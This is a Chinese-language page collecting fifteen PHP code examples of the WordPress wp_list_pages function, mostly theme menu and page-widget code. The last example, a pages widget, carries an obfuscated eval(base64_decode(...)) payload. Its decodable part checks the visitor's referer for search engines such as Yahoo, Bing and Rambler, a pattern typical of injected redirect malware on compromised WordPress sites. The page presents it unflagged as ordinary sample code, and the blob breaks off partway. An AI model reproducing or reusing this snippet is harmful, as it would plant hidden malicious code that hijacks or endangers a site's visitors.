本文整理汇总了PHP中wp_list_pages函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_list_pages函数的具体用法?PHP wp_list_pages怎么用?PHP wp_list_pages使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了wp_list_pages函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: main_menu_fallback
function main_menu_fallback()
{
echo '<ul class="default-nav">';
wp_list_pages();
wp_list_categories();
echo '</ul>';
}
示例2: widget
function widget( $args, $instance ) {
extract( $args );
$title = apply_filters('widget_title', empty( $instance['title'] ) ? __( 'Pages', 'lespaul_domain_adm' ) : $instance['title'], $instance, $this->id_base);
$sortby = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];
if ( $sortby == 'menu_order' )
$sortby = 'menu_order, post_title';
$pageIDs = get_all_page_ids();
foreach ( $pageIDs as $pageID ) {
if ( ! wm_restriction_page( $pageID ) ) {
$exclude .= ( $exclude ) ? ( ',' . $pageID ) : ( $pageID );
}
}
$out = wp_list_pages( apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude) ) );
if ( !empty( $out ) ) {
echo $before_widget;
if ( $title)
echo $before_title . $title . $after_title;
?>
<ul>
<?php echo $out; ?>
</ul>
<?php
echo $after_widget;
}
}
示例3: html_sitemap_shortcode_handler
function html_sitemap_shortcode_handler($args, $content = null)
{
if (is_feed()) {
return '';
}
$args['echo'] = 0;
$args['title_li'] = '';
unset($args['link_before']);
unset($args['link_after']);
if (isset($args['child_of']) && $args['child_of'] == 'CURRENT') {
$args['child_of'] = get_the_ID();
} else {
if (isset($args['child_of']) && $args['child_of'] == 'PARENT') {
$post =& get_post(get_the_ID());
if ($post->post_parent) {
$args['child_of'] = $post->post_parent;
} else {
unset($args['child_of']);
}
}
}
$html = wp_list_pages($args);
// Remove the classes added by WordPress
$html = preg_replace('/( class="[^"]+")/is', '', $html);
return '<ul>' . $html . '</ul>';
}
示例4: widget
/**
* Echo the widget content.
*
* @param array $args Display arguments including before_title, after_title, before_widget, and after_widget.
* @param array $instance The settings for the particular instance of the widget
*/
function widget($args, $instance)
{
extract($args);
$instance = wp_parse_args((array) $instance, array('title' => '', 'include' => array(), 'order' => ''));
echo $before_widget;
if ($instance['title']) {
echo $before_title . apply_filters('widget_title', $instance['title']) . $after_title;
}
echo '<ul class="nav">' . "\n";
// Empty fallback (default)
if (empty($instance['include'])) {
$instance['include'][] = 'home';
$pages = get_pages();
foreach ((array) $pages as $page) {
$instance['include'][] = $page->ID;
}
}
// Show Home Link?
if (in_array('home', (array) $instance['include'])) {
$active = is_front_page() ? 'class="current_page_item"' : '';
echo '<li ' . $active . '><a href="' . trailingslashit(home_url()) . '">' . __('Home', 'genesis') . '</a></li>';
}
// Show Page Links?
wp_list_pages(array('title_li' => '', 'include' => implode(',', $instance['include']), 'sort_column' => $instance['order']));
echo '</ul>' . "\n";
echo $after_widget;
}
示例5: widget
function widget($args, $instance)
{
extract($args);
$title = apply_filters('widget_title', empty($instance['title']) ? __('Pages', 'tfuse') : $instance['title'], $instance, $this->id_base);
$sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby'];
$exclude = empty($instance['exclude']) ? '' : $instance['exclude'];
$b = $instance['b'] = empty($instance['b']) ? '' : $instance['b'];
$class = $b ? 'widget-boxed' : '';
$out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude, 'link_before' => '<span>', 'link_after' => '</span>')));
if (!empty($out)) {
echo '<div class="widget widget_pages ' . $class . '">';
$title = tfuse_qtranslate($title);
if ($title) {
echo '<h3 class="widget-title">' . $title . '</h3>';
}
?>
<ul>
<?php
echo $out;
?>
</ul>
<?php
echo '</div>';
}
}
示例6: render
function render($args, $instance)
{
global $gantry, $post;
ob_start();
$sortby = $instance['sortby'];
$menu_class = $instance['menu_class'];
$depth = $instance['depth'];
if ($sortby == 'menu_order') {
$sortby = 'menu_order, post_title';
}
if ($menu_class != '') {
$menu_class = ' class="' . $menu_class . '"';
} else {
$menu_class = '';
}
$out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'depth' => $depth, 'sort_column' => $sortby, 'exclude' => $instance['exclude'], 'link_before' => '<span>', 'link_after' => '</span>')));
$out = str_replace('current_page_item', 'current_page_item active', $out);
if (!empty($out)) {
?>
<ul<?php
echo $menu_class;
?>
>
<?php
echo $out;
?>
</ul>
<?php
}
echo ob_get_clean();
}
示例7: dt_page_menu
function dt_page_menu($args = array())
{
$defaults = array('sort_column' => 'menu_order, post_title', 'container_class' => 'nav-bg', 'menu_id' => 'nav', 'echo' => false, 'link_before' => '', 'link_after' => '');
$args = wp_parse_args($args, $defaults);
$args = apply_filters('wp_page_menu_args', $args);
$menu = '';
$list_args = $args;
$list_args['echo'] = false;
$list_args['title_li'] = '';
$list_args['walker'] = new Dt_Custom_Walker_Page();
$menu .= str_replace(array("\r", "\n", "\t"), '', wp_list_pages($list_args));
if (isset($menu)) {
$menu = sprintf($args['items_wrap'], $args['menu_id'], $args['menu_class'], $menu);
}
// $menu = '<ul' . ( isset($args['menu_id'])?' id="'.esc_attr($args['menu_id']).'"':'' ) . '>' . $menu . '</ul>';
if (isset($container)) {
$menu = '<div class="' . esc_attr($args['container_class']) . '">' . $menu . "</div>\n";
}
$menu = apply_filters('wp_page_menu', $menu, $args);
if ($args['echo']) {
echo $menu;
} else {
return $menu;
}
}
示例8: displayGrandChildMenu
/**
* @deprecated 5.0.0
*/
function displayGrandChildMenu($page)
{
static $count = 0;
$count++;
//If the page sent is not a child of the current page
if (!$this->page_ancestor($page)) {
return;
}
//if there are no children of the current page bail
if (!($children = $this->page_children($page->ID))) {
return;
}
$content = sprintf('<ul class="grandchild-sidebar-menu level-%s children">', $count);
foreach ($children as $child) {
//If this page should be excluded bail
if (in_array($child->ID, $this->exclude)) {
continue;
}
$args = array('post_type' => $this->post_type, 'sort_column' => $this->order_by, 'title_li' => '', 'echo' => 0, 'depth' => 1, 'include' => $child->ID);
$content .= $this->openListItem(wp_list_pages($args));
//If this newly outputed child is a direct parent of the current page
if ($this->page_ancestor($child)) {
$content .= $this->displayGrandChildMenu($child);
}
$content .= '</li>';
}
$content .= '</ul>';
return $content;
}
示例9: widget
function widget($args, $instance)
{
extract($args);
$title = apply_filters('widget_title', $instance['title']);
$Num = apply_filters('$Num', $instance['Num']);
if (!empty($instance['title'])) {
//TEMISI BOSH QALDURULSA 'رەڭدار خەتكۈشلەر' BOLUP KORINIDU
$title = $instance['title'];
} else {
$title = 'بەتلەر';
}
if (!empty($instance['Num'])) {
$Num = $instance['Num'];
} else {
$Num = '10';
}
$title = apply_filters('widget_title', $title, $instance, $this->id_base);
$Num = apply_filters('$Num', $Num, $instance, $this->id_base);
echo $before_widget;
if ($title) {
echo $before_title . $title . $after_title;
}
?>
<ul class="pages">
<?php
wp_list_pages('title_li=&depth=1');
?>
</ul>
<?php
echo $after_widget;
}
示例10: childtheme_menus
function childtheme_menus()
{
?>
<div id="page-menu" class="menu">
<ul id="page-nav" class="sf-menu">
<li class="rss"><a href="<?php
bloginfo('rss2_url');
?>
">RSS Feed</a></li>
<?php
wp_list_pages('title_li=');
?>
</ul>
</div>
<div id="category-menu" class="menu">
<ul id="category-nav" class="sf-menu">
<li class="home"><a href="<?php
bloginfo('url');
?>
">Home</a></li>
<?php
wp_list_categories('title_li=&number=7');
?>
<li class="blog-description"><span><?php
bloginfo('description');
?>
</span></li>
</ul>
</div>
<?php
}
示例11: default_menu
/**
* A default menu for when they don't have one set.
* Everybody sees a page list + the admins see a message about setting up the
* menus in admin
*/
function default_menu()
{
?>
<ul id="menu-main" class="menu--main menu cf">
<?php
if (is_user_logged_in() && current_user_can('level_10')) {
?>
<li><a href="<?php
bloginfo('url');
?>
/wp-admin/nav-menus.php"><?php
_e('Admin, não se esqueça de configurar um menu', 'cultural');
?>
</a></li>
<?php
}
?>
<?php
wp_list_pages('title_li=');
?>
<?php
wp_list_categories('title_li=');
?>
</ul>
<?php
}
示例12: vkExUnit_pageList_ancestor_shortcode
function vkExUnit_pageList_ancestor_shortcode()
{
global $post;
if (!is_page() || !get_post_meta($post->ID, 'vkExUnit_pageList_ancestor', true)) {
return;
}
$pageList_ancestor_html = PHP_EOL . '<section class="veu_pageList_ancestor">' . PHP_EOL;
if ($post->ancestors) {
foreach ($post->ancestors as $post_anc_id) {
$post_id = $post_anc_id;
}
} else {
$post_id = $post->ID;
}
if ($post_id) {
$children = wp_list_pages('title_li=&child_of=' . $post_id . '&echo=0');
if ($children) {
$pageList_ancestor_html .= '<h1 class="section_title subSection-title"><a href="' . get_permalink($post_id) . '">' . get_the_title($post_id) . '</a></h1>';
$pageList_ancestor_html .= '<ul class="pageList">';
$pageList_ancestor_html .= $children;
$pageList_ancestor_html .= '</ul>';
$pageList_ancestor_html .= '</section>';
}
}
return $pageList_ancestor_html;
}
示例13: widget
function widget($args, $instance)
{
global $post;
$children = wp_list_pages('echo=0&child_of=' . $post->ID . '&title_li=');
if ($children) {
$parent = $post->ID;
} else {
$parent = $post->post_parent;
if (!$parent) {
$parent = $post->ID;
}
}
$parent_title = get_the_title($parent);
extract($args);
$title = apply_filters('widget_title', empty($instance['title']) ? $parent_title : $instance['title'], $instance, $this->id_base);
$sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby'];
$exclude = empty($instance['exclude']) ? theme_get_excluded_pages() : $instance['exclude'] . ',' . theme_get_excluded_pages();
$output = wp_list_pages(array('title_li' => '', 'echo' => 0, 'child_of' => $parent, 'sort_column' => $sortby, 'exclude' => $exclude, 'depth' => 1));
if (!empty($output)) {
echo $before_widget;
if ($title) {
echo $before_title . $title . $after_title;
}
?>
<ul>
<?php
echo $output;
?>
</ul>
<?php
echo $after_widget;
}
}
示例14: uni_nav_fallback
function uni_nav_fallback()
{
$sOutput = '<nav class="mainMenu"><ul class="clear">';
$sOutput .= wp_list_pages(array('title_li' => '', 'echo' => false));
$sOutput .= '</ul></nav>';
echo $sOutput;
}
示例15: widget
function widget($args, $instance)
{
extract($args);
$title = apply_filters('widget_title', empty($instance['title']) ? __('Pages') : $instance['title']);
$sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby'];
$exclude = empty($instance['exclude']) ? '' : $instance['exclude'];
if ($sortby == 'menu_order') {
$sortby = 'menu_order, post_title';
}
$out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude)));
if (!empty($out)) {
echo $before_widget;
if ($title) {
echo $before_title . $title . $after_title;
}
?>
<ul>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLC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